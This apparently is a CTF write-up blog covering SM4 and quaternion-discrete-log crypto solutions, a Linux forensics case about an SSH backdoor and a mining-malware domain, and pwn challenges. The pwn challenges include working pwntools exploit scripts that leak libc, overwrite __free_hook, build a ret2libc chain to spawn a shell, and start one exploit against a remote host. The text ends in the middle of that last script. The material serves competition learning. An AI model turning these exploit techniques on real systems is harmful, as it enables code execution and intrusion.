 $this->sk[$i] = $k[$i + 4];
 }
 }
 public function encrypt($plaintext) {
 $len = strlen($plaintext);
 $padding = 16 - ($len % 16);
 $plaintext .= str_repeat(chr($padding), $padding);
 $ciphertext = '';
 for ($i = 0; $i < strlen($plaintext); $i += 16) {
 $block = substr($plaintext, $i, 16);
 $ciphertext .= $this->cryptBlock($block, self::ENCRYPT);
 }
 return $ciphertext;
 }
 private function cryptBlock($block, $mode) {
 $x = $this->strToIntArray($block);

 for ($i = 0; $i < 32; $i++) {
 $roundKey = $this->sk[$i];
 $x[4] = $x[0] ^ $this->F($x[1], $x[2], $x[3], $roundKey);
 array_shift($x);
 }
 $x = array_reverse($x);
 return $this->intArrayToStr($x);
 }
 private function F($x1, $x2, $x3, $rk) {
 return $this->T($x1 ^ $x2 ^ $x3 ^ $rk);
 }
 private function CKF($a, $b, $c, $ck) {
 return $a ^ $this->T($b ^ $c ^ $ck);
 }
 private function T($x) {
 return $this->L($this->S($x));
 }
 private function S($x) {
 $result = 0;
 for ($i = 0; $i < 4; $i++) {
 $byte = ($x >> (24 - $i * 8)) & 0xFF;
 $result |= self::$SboxTable[$byte] << (24 - $i * 8);
 }
 return $result;
 }
 private function L($x) {
 return $x ^ $this->rotl($x, 2) ^ $this->rotl($x, 10) ^ $this->rotl($x, 18) ^ $this->rotl($x, 24);
 }
 private function rotl($x, $n) {
 return (($x << $n) & 0xFFFFFFFF) | (($x >> (32 - $n)) & 0xFFFFFFFF);
 }
 private function strToIntArray($str) {
 $result = [];
 for ($i = 0; $i < 4; $i++) {
 $offset = $i * 4;
 $result[$i] =
 (ord($str[$offset]) << 24) |
 (ord($str[$offset + 1]) << 16) |
 (ord($str[$offset + 2]) << 8) |
 ord($str[$offset + 3]);
 }
 return $result;
 }
 private function intArrayToStr($array) {
 $str = '';
 foreach ($array as $int) {
 $str .= chr(($int >> 24) & 0xFF);
 $str .= chr(($int >> 16) & 0xFF);
 $str .= chr(($int >> 8) & 0xFF);
 $str .= chr($int & 0xFF);
 }
 return $str;
 }
}
try {
 $key = "a8a58b78f41eeb6a";
 $sm4 = new SM4($key);
 $plaintext = "flag";
 $ciphertext = $sm4->encrypt($plaintext);
 echo base64_encode($ciphertext) ; //VCWBIdzfjm45EmYFWcqXX0VpQeZPeI6Qqyjsv31yuPTDC80lhFlaJY2R3TintdQu
} catch (Exception $e) {
 echo $e->getMessage() ;
}
?>

echo base64后面注释的应该就是原flag逻辑，反向解答出flag即可

SM4密钥是$key, 解密走32轮加密

encrypt会自动进行PKCS#7填充，所以flag会被填充为flag+12字节’\x0c'

反向解密要去除掉填充

下面是改了之后的

 1
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153



<?php
class SM4 {
 const ENCRYPT = 1;
 private $sk;
 private static $FK = [0xA3B1BAC6, 0x56AA3350, 0x677D9197, 0xB27022DC];
 private static $CK = [
 0x00070E15, 0x1C232A31, 0x383F464D, 0x545B6269,
 0x70777E85, 0x8C939AA1, 0xA8AFB6BD, 0xC4CBD2D9,
 0xE0E7EEF5, 0xFC030A11, 0x181F262D, 0x343B4249,
 0x50575E65, 0x6C737A81, 0x888F969D, 0xA4ABB2B9,
 0xC0C7CED5, 0xDCE3EAF1, 0xF8FF060D, 0x141B2229,
 0x30373E45, 0x4C535A61, 0x686F767D, 0x848B9299,
 0xA0A7AEB5, 0xBCC3CAD1, 0xD8DFE6ED, 0xF4FB0209,
 0x10171E25, 0x2C333A41, 0x484F565D, 0x646B7279
 ];
 private static $SboxTable = [
 0xD6, 0x90, 0xE9, 0xFE, 0xCC, 0xE1, 0x3D, 0xB7, 0x16, 0xB6, 0x14, 0xC2, 0x28, 0xFB, 0x2C, 0x05,
 0x2B, 0x67, 0x9A, 0x76, 0x2A, 0xBE, 0x04, 0xC3, 0xAA, 0x44, 0x13, 0x26, 0x49, 0x86, 0x06, 0x99,
 0x9C, 0x42, 0x50, 0xF4, 0x91, 0xEF, 0x98, 0x7A, 0x33, 0x54, 0x0B, 0x43, 0xED, 0xCF, 0xAC, 0x62,
 0xE4, 0xB3, 0x1C, 0xA9, 0xC9, 0x08, 0xE8, 0x95, 0x80, 0xDF, 0x94, 0xFA, 0x75, 0x8F, 0x3F, 0xA6,
 0x47, 0x07, 0xA7, 0xFC, 0xF3, 0x73, 0x17, 0xBA, 0x83, 0x59, 0x3C, 0x19, 0xE6, 0x85, 0x4F, 0xA8,
 0x68, 0x6B, 0x81, 0xB2, 0x71, 0x64, 0xDA, 0x8B, 0xF8, 0xEB, 0x0F, 0x4B, 0x70, 0x56, 0x9D, 0x35,
 0x1E, 0x24, 0x0E, 0x5E, 0x63, 0x58, 0xD1, 0xA2, 0x25, 0x22, 0x7C, 0x3B, 0x01, 0x0D, 0x2D, 0xEC,
 0x84, 0x9B, 0x1E, 0x87, 0xE0, 0x3E, 0xB5, 0x66, 0x48, 0x02, 0x6C, 0xBB, 0xBB, 0x32, 0x83, 0x27,
 0x9E, 0x01, 0x8D, 0x53, 0x9B, 0x64, 0x7B, 0x6B, 0x6A, 0x6C, 0xEC, 0xBB, 0xC4, 0x94, 0x3B, 0x0C,
 0x76, 0xD2, 0x09, 0xAA, 0x16, 0x15, 0x3D, 0x2D, 0x0A, 0xFD, 0xE4, 0xB7, 0x37, 0x63, 0x28, 0xDD,
 0x7C, 0xEA, 0x97, 0x8C, 0x6D, 0xC7, 0xF2, 0x3E, 0x1A, 0x71, 0x1D, 0x29, 0xC5, 0x89, 0x6F, 0xB7,
 0x62, 0x0E, 0xAA, 0x18, 0xBE, 0x1B, 0xFC, 0x56, 0x36, 0x24, 0x07, 0x82, 0xFA, 0x54, 0x5B, 0x40,
 0x8F, 0xED, 0x1F, 0xDA, 0x93, 0x80, 0xF9, 0x61, 0x1C, 0x70, 0xC3, 0x85, 0x95, 0xA9, 0x79, 0x08,
 0x46, 0x29, 0x02, 0x3B, 0x4D, 0x83, 0x3A, 0x0A, 0x49, 0x06, 0x24, 0x1A, 0x47, 0x5C, 0x0D, 0xEA,
 0x9E, 0xCB, 0x55, 0x20, 0x15, 0x8A, 0x9A, 0xCB, 0x43, 0x0C, 0xF0, 0x0B, 0x40, 0x58, 0x00, 0x8F,
 0xEB, 0xBE, 0x3D, 0xC2, 0x9F, 0x51, 0xFA, 0x13, 0x3B, 0x0D, 0x90, 0x5B, 0x6E, 0x45, 0x59, 0x33
 ];

 public function __construct($key) {
 $this->setKey($key);
 }
 public function setKey($key) {
 if (strlen($key) != 16) {
 throw new Exception("SM4");
 }
 $key = $this->strToIntArray($key);
 $k = array_merge($key, [0, 0, 0, 0]);
 for ($i = 0; $i < 4; $i++) {
 $k[$i] ^= self::$FK[$i];
 }
 for ($i = 0; $i < 32; $i++) {
 $k[$i + 4] = $k[$i] ^ $this->CKF($k[$i + 1], $k[$i + 2], $k[$i + 3], self::$CK[$i]);
 $this->sk[$i] = $k[$i + 4];
 }
 }
 public function encrypt($plaintext) {
 $len = strlen($plaintext);
 $padding = 16 - ($len % 16);
 $plaintext .= str_repeat(chr($padding), $padding);
 $ciphertext = '';
 for ($i = 0; $i < strlen($plaintext); $i += 16) {
 $block = substr($plaintext, $i, 16);
 $ciphertext .= $this->cryptBlock($block, self::ENCRYPT);
 }
 return $ciphertext;
 }
 private function cryptBlock($block, $mode) {
 $x = $this->strToIntArray($block);

 for ($i = 0; $i < 32; $i++) {
 $roundKey = $this->sk[$i];
 $x[4] = $x[0] ^ $this->F($x[1], $x[2], $x[3], $roundKey);
 array_shift($x);
 }
 $x = array_reverse($x);
 return $this->intArrayToStr($x);
 }
 public function decrypt($ciphertext) {
 $plaintext = '';
 for ($i = 0; $i < strlen($ciphertext); $i += 16) {
 $block = substr($ciphertext, $i, 16);
 $plaintext .= $this->cryptBlockDecrypt($block);
 }
 // 去除填充
 $padding = ord(substr($plaintext, -1));
 return substr($plaintext, 0, -$padding);
}
 private function cryptBlockDecrypt($block) {
 $x = $this->strToIntArray($block);
 for ($i = 0; $i < 32; $i++) {
 $roundKey = $this->sk[31 - $i]; // 注意解密要逆序
 $x[4] = $x[0] ^ $this->F($x[1], $x[2], $x[3], $roundKey);
 array_shift($x);
 }
 $x = array_reverse($x);
 return $this->intArrayToStr($x);
}
 private function F($x1, $x2, $x3, $rk) {
 return $this->T($x1 ^ $x2 ^ $x3 ^ $rk);
 }
 private function CKF($a, $b, $c, $ck) {
 return $a ^ $this->T($b ^ $c ^ $ck);
 }
 private function T($x) {
 return $this->L($this->S($x));
 }
 private function S($x) {
 $result = 0;
 for ($i = 0; $i < 4; $i++) {
 $byte = ($x >> (24 - $i * 8)) & 0xFF;
 $result |= self::$SboxTable[$byte] << (24 - $i * 8);
 }
 return $result;
 }
 private function L($x) {
 return $x ^ $this->rotl($x, 2) ^ $this->rotl($x, 10) ^ $this->rotl($x, 18) ^ $this->rotl($x, 24);
 }
 private function rotl($x, $n) {
 return (($x << $n) & 0xFFFFFFFF) | (($x >> (32 - $n)) & 0xFFFFFFFF);
 }
 private function strToIntArray($str) {
 $result = [];
 for ($i = 0; $i < 4; $i++) {
 $offset = $i * 4;
 $result[$i] =
 (ord($str[$offset]) << 24) |
 (ord($str[$offset + 1]) << 16) |
 (ord($str[$offset + 2]) << 8) |
 ord($str[$offset + 3]);
 }
 return $result;
 }

 private function intArrayToStr($array) {
 $str = '';
 foreach ($array as $int) {
 $str .= chr(($int >> 24) & 0xFF);
 $str .= chr(($int >> 16) & 0xFF);
 $str .= chr(($int >> 8) & 0xFF);
 $str .= chr($int & 0xFF);
 }
 return $str;
 }
}
try {
$key = "a8a58b78f41eeb6a";
$sm4 = new SM4($key);

$ciphertext = base64_decode("VCWBIdzfjm45EmYFWcqXX0VpQeZPeI6Qqyjsv31yuPTDC80lhFlaJY2R3TintdQu");

$plaintext = $sm4->decrypt($ciphertext);
echo $plaintext; // 输出 flag
} catch (exception $e) {
 echo $e->getmessage() ;
}
?>

SilentMiner

攻击者的ip地址

攻击者共进行多少次ssh口令爆破失败？

后门文件路径的绝对路径

攻击者用户分发恶意文件的域名（注意系统时区）

挖矿病毒所属的家族（全小写）

redemail有两个.e01文件，读不了挂不了，服了

直接看dd

192.168.145.131为ssh发出地址

kpart挂载dd:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10


❯ sudo kpartx -av ./disk.dd
[sudo] nan0in27 的密码：
add map loop0p1 (254:0): 0 1048576 linear 7:0 2048
add map loop0p2 (254:1): 0 2 linear 7:0 1052670
add map loop0p5 (254:2): 0 40888320 linear 7:0 1052672


❯ sudo mount /dev/mapper/loop0p2 /mnt/temp_disk2

❯ sudo mount /dev/mapper/loop0p5 /mnt/temp_disk2

然后进入到temp_disk2查看

/var/log/auth.log

可以看到有大量的failed爆破，我们grep出数量

258

不知道为什么只有257，少了1行

发现有个执行了exec “/bin/sh"指令的，进去看看

确实是后门

/usr/sbin/sshd

发现有dnsmasq.log，印象中是作为服务器的，看看日志

 1
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116


❯ sudo grep "query\[" ./dnsmasq.log | awk '{print $6}' | sort -u
a.sinaimg.cn
aus5.mozilla.org
ax.ifeng.com
baidu.com
c0.ifengimg.com
changelogs.ubuntu.com
cm.adxvip.com
cm.fastapi.net
cn.bing.com
connectivity-check.ubuntu.com
console.zhibo.ifeng.com
content-signature-2.cdn.mozilla.net
contile.services.mozilla.com
cook.iqiyi.com
cpro.baidustatic.com
cstaticdun.126.net
daisy.ubuntu.com
datahub.zhihu.com
data.video.iqiyi.com
detectportal.firefox.com
dfp-business.iqiyi.com
d.ifengimg.com
d.sinaimg.cn
dsp.djc888.cn
eclick.baidu.com
err.ifengcloud.ifeng.com
example.org
f10.baidu.com
fc4tn.baidu.com
firefox.settings.services.mozilla.com
f.video.weibocdn.com
google.com
h5.sinaimg.cn
hm.baidu.com
_https._tcp.mirrors.tuna.tsinghua.edu.cn
img.ifeng.com
incoming.telemetry.mozilla.org
ipv4only.arpa
i.sso.sina.com.cn
login.sina.com.cn
lupic.cdn.bcebos.com
mesh.if.iqiyi.com
m.iqiyipic.com
mirrors.tuna.tsinghua.edu.cn
msg.qy.net
ocsp.dcocsp.cn
ocsp.digicert.cn
ocsp.digicert.com
ocsp.globalsign.com
ocsp.sectigochina.com
ocsp.trust-provider.cn
opencdnh3.jomodns.com
o.pki.goog
p0.ifengimg.com
p1.ifengimg.com
passport.weibo.com
pdb.5hte21mz.com
pic0.iqiyipic.com
pic1.iqiyipic.com
pic2.iqiyipic.com
pic2.zhimg.com
pic3.iqiyipic.com
pic3.zhimg.com
pic4.iqiyipic.com
pic5.iqiyipic.com
pic6.iqiyipic.com
pic7.iqiyipic.com
pic8.iqiyipic.com
pic9.iqiyipic.com
pica.zhimg.com
picx.zhimg.com
pos.baidu.com
push.services.mozilla.com
region.ifeng.com
render-server.cdn.bcebos.com
revive.outin.cn
safebrowsing.googleapis.com
s.cpro.baidu.com
security.iqiyi.com
services.addons.mozilla.org
shankapi.ifeng.com
simg.s.weibo.com
stadig.ifeng.com
static-d.iqiyi.com
static.geetest.com
static.iqiyi.com
static.outin.cn
static-s.iqiyi.com
static.zhihu.com
status.geotrust.com
stc.iqiyipic.com
support.mozilla.org
t7z.cupid.iqiyi.com
tombaky.com
tvax1.sinaimg.cn
tvax2.sinaimg.cn
tvax3.sinaimg.cn
tvax4.sinaimg.cn
unpkg.zhimg.com
weibo.com
wn.pos.baidu.com
www.baidu.com
www.ctrip.com
www.ifeng.com
www.iqiyi.com
www.zhihu.com
wx1.sinaimg.cn
wx3.sinaimg.cn
wx4.sinaimg.cn
x0.ifengimg.com
x2.ifengimg.com
y0.ifengimg.com
y1.ifengimg.com
zerossl.ocsp.sectigo.com
zhihu-web-analytics.zhihu.com

tombaky.com和pdb.5hte21mz.com比较可疑

tombaky.com是对的, 直接从127.0.0.1访问

实在找不到了，strings发现有一个连接记录，看看十六进制

发现一堆十六进制，拿出来看看

是一个混淆的bash脚本，我们把eval改成echo以后运行，拿到cyberchef进行base64解码

kinsing

crypto

newtrick

思路

出题人把一个离散对数问题包装在「Quaternion 四元数运算」里，障眼法而已。
实际上就是要求解：

Q^{secret} \equiv R \pmod p

然后 secret 用来生成 AES 的密钥。

明文：

1
2
3


key = md5(str(secret).encode()).hexdigest().encode()
cipher = AES.new(key, AES.MODE_ECB)
ciphertext = cipher.encrypt(pad(flag, 16))

如果 secret 是普通大整数不可约群，离散对数问题是不可解的。
但是题目明确限制：

1

assert secret < 2**50

解法

Baby-step Giant-step (BSGS) → 级别，大约 3300 万次运算，可行。
Pollard’s Rho 也行（复杂度相同），但是需要仔细处理群结构随机性。

实际问题

一开始跑，原始 BSGS 失败的原因：用了 quaternion 但没写 inverse，导致 giant-step 不对，secret跑不出来并且填充也不对
修复方法：补上 quaternion 的逆元计算：
- 四元数的逆为：
  
  Q^{-1} = \frac{(a, -b, -c, -d)}{a^2+b^2+c^2+d^2} \pmod p
有了 inverse，BSGS 就正常运行，可以成功找到 secret。

最终步骤

修复 quaternion mul 和 inverse
实现 BSGS
找到 secret

生成 AES key：

1

key = md5(str(secret).encode()).hexdigest().encode()

用 AES-ECB 解密 ciphertext，得到 flag

脚本(ai梭哈)：

 1
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116


from hashlib import md5
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
from math import isqrt


def CLEAR_TEXT(x, code=32):
 return f"\x1b[{code}m{x}\x1b[0m"

p = 115792089237316195423570985008687907853269984665640564039457584007913129639747

Q_components = (123456789, 987654321, 135792468, 864297531)

R_components = (
 53580504271939954579696282638160058429308301927753139543147605882574336327145,
 79991318245209837622945719467562796951137605212294979976479199793453962090891,
 53126869889181040587037210462276116096032594677560145306269148156034757160128,
 97368024230306399859522783292246509699830254294649668434604971213496467857155
)

ciphertext = b'(\xe4IJ\xfd4%\xcf\xad\xb4\x7fi\xae\xdbZux6-\xf4\xd72\x14BB\x1e\xdc\xb7\xb7\xd1\xad#e@\x17\x1f\x12\xc4\xe5\xa6\x10\x91\x08\xd6\x87\x82H\x9e'

class Quaternion:
 def __init__(self, a, b, c, d):
 self.a = a % p
 self.b = b % p
 self.c = c % p
 self.d = d % p

 def __eq__(self, other):
 return (self.a, self.b, self.c, self.d) == (other.a, other.b, other.c, other.d)

 def __hash__(self):
 return hash((self.a, self.b, self.c, self.d))

 def __repr__(self):
 return f"Q({self.a}, {self.b}, {self.c}, {self.d})"

 def __mul__(self, other):
 a1, b1, c1, d1 = self.a, self.b, self.c, self.d
 a2, b2, c2, d2 = other.a, other.b, other.c, other.d
 return Quaternion(
 (a1*a2 - b1*b2 - c1*c2 - d1*d2) % p,
 (a1*b2 + b1*a2 + c1*d2 - d1*c2) % p,
 (a1*c2 - b1*d2 + c1*a2 + d1*b2) % p,
 (a1*d2 + b1*c2 - c1*b2 + d1*a2) % p
 )

 def pow(self, e):
 res = Quaternion(1, 0, 0, 0)
 base = self
 while e > 0:
 if e & 1:
 res = res * base
 base = base * base
 e >>= 1
 return res

# ======================
# 计算 quaternion 的逆元
# ======================

def quat_inverse(Q):
 # norm = a^2+b^2+c^2+d^2
 norm = (Q.a*Q.a + Q.b*Q.b + Q.c*Q.c + Q.d*Q.d) % p
 inv_norm = pow(norm, -1, p)
 return Quaternion(
 (Q.a * inv_norm) % p,
 (-Q.b * inv_norm) % p,
 (-Q.c * inv_norm) % p,
 (-Q.d * inv_norm) % p
 )

# ======================
# BSGS 求离散对数
# ======================

def bsgs(Q, R, bound):
 m = isqrt(bound) + 1

 # baby steps
 table = {}
 cur = Quaternion(1, 0, 0, 0)
 for j in range(m):
 table[(cur.a, cur.b, cur.c, cur.d)] = j
 cur = cur * Q

 # giant steps
 Qm_inv = quat_inverse(Q.pow(m))

 cur = R
 for i in range(m+1):
 key = (cur.a, cur.b, cur.c, cur.d)
 if key in table:
 return i*m + table[key]
 cur = cur * Qm_inv
 return None


if __name__ == "__main__":
 Q = Quaternion(*Q_components)
 R = Quaternion(*R_components)

 print("[*] Running BSGS to recover secret...")
 secret = bsgs(Q, R, 2**50)

 if secret is None:
 print("[-] Failed to find secret...")
 else:
 print("[+] Found secret =", secret)

 # AES 解密
 key = md5(str(secret).encode()).hexdigest().encode() # 32字节
 cipher = AES.new(key, AES.MODE_ECB)
 flag = unpad(cipher.decrypt(ciphertext), 16)
 print(CLEAR_TEXT(f"[+] Flag = {flag.decode()}"))

上海磐石行动 2025 初赛pwn - user

Thu, 07 Aug 2025 15:27:00 +0000

解题思路

保护全开，函数有增删改查也是2.31的Libc，patch一下

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26


__int64 edit()
{
 int v1; // [rsp+Ch] [rbp-14h]
 char nptr[8]; // [rsp+10h] [rbp-10h] BYREF
 unsigned __int64 v3; // [rsp+18h] [rbp-8h]

 v3 = __readfsqword(0x28u);
 puts("index:");
 input(nptr, 8LL);
 v1 = atoi(nptr);
 if ( v1 > 4 )
 {
 puts("index error");
 exit(-1);
 }
 if ( *((_QWORD *)&heap + v1) )
 {
 puts("Enter a new username:");
 read(0, *((void **)&heap + v1), 0x40uLL);
 }
 else
 {
 puts("error");
 }
 return 0LL;
}

edit对bss段中的堆数组写入，可以借此负索引写入到IO结构体(full relro所以考虑写stdout泄漏出libc，然后找一个二次引用为a->b->a的指针，这里动用的是__dso_handle指向了自己，直接改到这一块使得a指向heap写个__free_hook后，然后在2.31下直接用__free_hook指向system即可

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99


from pwn import *

filename = "./user"
libc = "./libc.so.6"


context(log_level="debug", os="linux", arch="amd64")
context.terminal = ["tmux", "splitw", "-h"]


def VIO_TEXT(x):
 return f"\x1b[95m{x}\x1b[0m"


io = process(filename)
libc = ELF(libc)
elf = ELF(filename)
# io = remote("pss.idss-cn.com", 23160)
# gdb.attach(io, gdbscript="""b *main""")


def se(data):
 return io.send(data)


def sa(delim, data):
 return io.sendafter(delim, data)


def sl(data):
 return io.sendline(data)


def sla(delim, data):
 return io.sendlineafter(delim, data)


def rc(num):
 return io.recv(num)


def rl():
 return io.recvline()


def ru(delims):
 return io.recvuntil(delims)


def uu32(data):
 return u32(data.ljust(4, b"\x00"))


def uu64(data):
 return u64(data.ljust(8, b"\x00"))


def ia():
 return io.interactive()


def menu(index):
 sla(b"5. Exit", str(index).encode())


def add(name):
 menu(1)
 sa(b"Enter your username:\n", name)


def delete(idx):
 menu(2)
 sla(b"index:", str(idx).encode())


def edit(idx, data):
 menu(4)
 sla(b"index:", str(idx).encode())
 sa(b"Enter a new username:", data)


add(b"111")
add(b"/bin/sh\x00")

payload = flat(0xFBAD1880, 0, 0, 0, b"\x00")
edit(-8, payload)

io.recvuntil(b"\x80")
partial = io.recv(5)
partial_addr = int.from_bytes(partial, "little") << 8
libc_base = partial_addr + 0x80 - libc.symbols["_IO_2_1_stdin_"]
log.success(VIO_TEXT(f"libc base: {hex(libc_base)}"))

edit(-11, b"\x60")
edit(-11, p64(libc_base + libc.sym["__free_hook"]))
edit(0, p64(libc_base + libc.sym["system"]))

delete(1)
io.interactive()

上海磐石行动 2025 初赛pwn - account

Thu, 07 Aug 2025 14:59:00 +0000

解题思路

保护，看到为32位检查后libc为2.31-0ubuntu9.18_i386

只有一个vul()函数，发现到10之后就会溢出向前输入覆盖到数组的idx，没有PIE
输入v1[11]=13，我们再次控制输入就可以泄漏Puts地址, 然后打ret2libc。 32位直接使用栈进行传参，用ROPgadget找一个合适的gadget使一个返回地址覆盖到esp（即call system后返回的下一个返回地址）后esp+4才会传递参数过去。

注意输入的有符号整数scnaf("%d")，要进行转换，libc种明显有超过0x7fffffff的，我们直接补码表示，减去(1«32)

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118


from pwn import *

filename = "./account"
libc = "./libc.so.6"


context(log_level="debug", os="linux", arch="i386")
context.terminal = ["tmux", "splitw", "-h"]


def VIO_TEXT(x):
 return f"\x1b[95m{x}\x1b[0m"


# io = gdb.debug(
# "./account",
# """
# b *main
# b *0x80492ea
# """,
# )
io = process(filename)
libc = ELF(libc)
elf = ELF(filename)
# io = remote("pss.idss-cn.com", 23396)


def se(data):
 return io.send(data)


def sa(delim, data):
 return io.sendafter(delim, data)


def sl(data):
 return io.sendline(data)


def sla(delim, data):
 return io.sendlineafter(delim, data)


def rc(num):
 return io.recv(num)


def rl():
 return io.recvline()


def ru(delims):
 return io.recvuntil(delims)


def uu32(data):
 return u32(data.ljust(4, b"\x00"))


def uu64(data):
 return u64(data.ljust(8, b"\x00"))


def ia():
 return io.interactive()


def get_64():
 return u64(io.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))


def get_32():
 return u32(io.recvuntil(b"\x7f")[-4:].ljust(4, b"\x00"))


entry = 0x8049264
pop_ebx_ret = 0x08049022
puts_plt = elf.plt["puts"]
puts_got = elf.got["puts"]

for i in range(10):
 sl(b"1")

sl(b"13") # 写入返回地址

sl(str(puts_plt).encode())
sl(str(pop_ebx_ret).encode())
sl(str(puts_got).encode())
sl(str(entry).encode())

sl(b"0")
ru(b"Recording completed\n")
libc_base = u32(io.recv(4)) - libc.sym["puts"]
puts = libc_base + libc.sym["puts"]
log.success(VIO_TEXT("libc_base = " + hex(libc_base)))
log.success(VIO_TEXT("puts = " + hex(puts)))

for i in range(10):
 sl(b"1")

sl(b"13")


def signed(val):
 if val < 0x80000000:
 return val
 else:
 return val - (1 << 32)


sl(str(signed(libc_base + libc.sym["system"])).encode())
sl(str(pop_ebx_ret).encode())
io.sendline(str(signed(libc_base + next(libc.search(b"/bin/sh\x00")))).encode())
sleep(1)

sl(b"0")

io.interactive()

OpenHarmonyCTF wp-Nan0in

Sat, 07 Jun 2025 18:33:00 +0000

Hardware

uart-mystery

一台 Harmony 守护主机正在广播神秘信息，公开频道中你能听到一段不断重复的系统广播，但真正的秘密，却藏在信号之下的“细语”之中。
“有些声音并不是为所有耳朵准备的。”
你获得了一段捕捉到的串口通信记录（配合逻辑分析仪或串口数据流）。打开监听工具，分析信号，在那些杂音间，找出唯一属于你的那个节奏。只有调准频率，才能听懂隐藏在电流中的低语。
注：建议使用串口分析工具（如 Logic, Saleae, minicom, pyserial 等）观察和尝试不同通信参数。

给了.sal文件，搜索后发现saleae logic可以用于分析串口数据，记录逻辑信息，所以将.sal拖入，然后导入Analyser，由于有meta.json，配置就有了

找到flag
flag{w3c10me::openharmony::init}

A Mysterious Card

010editor bad misc，脑筋急转弯，打开.nfc文件可以看到相关联的信息，Mifare Classic型号，对下面的十六进制010editor看一下就有

上下两端根据前半段提示的 structure_of_mifare_card进行筛选拼接，去掉block的标识行（rv.. ）后拼接即可
flag{enma5t3r1ng_s7ruc7ur3_0f_m1far3_card_pXLFOtFJuiKCkbPhNPzV}

reverse

easyre

用abc-decompiler反编译 flag由hint1与magic组成，在obj3中有，动态
两部分分别用了不同的算法
magic使用了base64算法的解密然后进行字符串反转
hint1则使用了自定义加减反转字符串运算

hint1

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20


def transform_hint(original_hint):

 step1 = ''.join([chr(ord(c) + len(original_hint)) for c in original_hint])

 step2 = step1[::-1]

 step3 = ''.join([chr(ord(step2[i]) - i) for i in range(len(step2))])

 transformed = step3[::-1]

 return transformed

def main():
 original_hint = "tlfr`llakodZVS^RaWQSP"

 transformed_hint = transform_hint(original_hint)
 print(f"decoded hint: {transformed_hint}")

if __name__ == "__main__":
 main()

然后拼接一下即可

Pwn

minishell

跑QEMU我在arch /mnt下专门放了挂载用盘，然后sudo mount ./userdata.img /mnt/disk_nan0in 就搞定了

ida里可以看到调用cat的时候可以输shellcode（或者你跑起来以后指令一个个尝试一下）

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86


from pwn import *
filename = './pwn'
# libc = './libc.so.6'
context(log_level="debug", os="linux", arch="amd64")
context.terminal = ["tmux", "splitw", "-h"]


def VIO_TEXT(x):
 return f"\x1b[95m{x}\x1b[0m"


# io = process(filename)
# libc = ELF(libc)
elf = ELF(filename)
io = remote("61.147.171.107", 42110)
# gdb.attach(io)


def se(data):
 return io.send(data)


def sa(delim, data):
 return io.sendafter(delim, data)


def sl(data):
 return io.sendline(data)


def sla(delim, data):
 return io.sendlineafter(delim, data)


def rc(num):
 return io.recv(num)


def rl():
 return io.recvline()


def ru(delims):
 return io.recvuntil(delims)


def uu32(data):
 return u32(data.ljust(4, b"\x00"))


def uu64(data):
 return u64(data.ljust(8, b"\x00"))


def ia():
 return io.interactive()


def get_64():
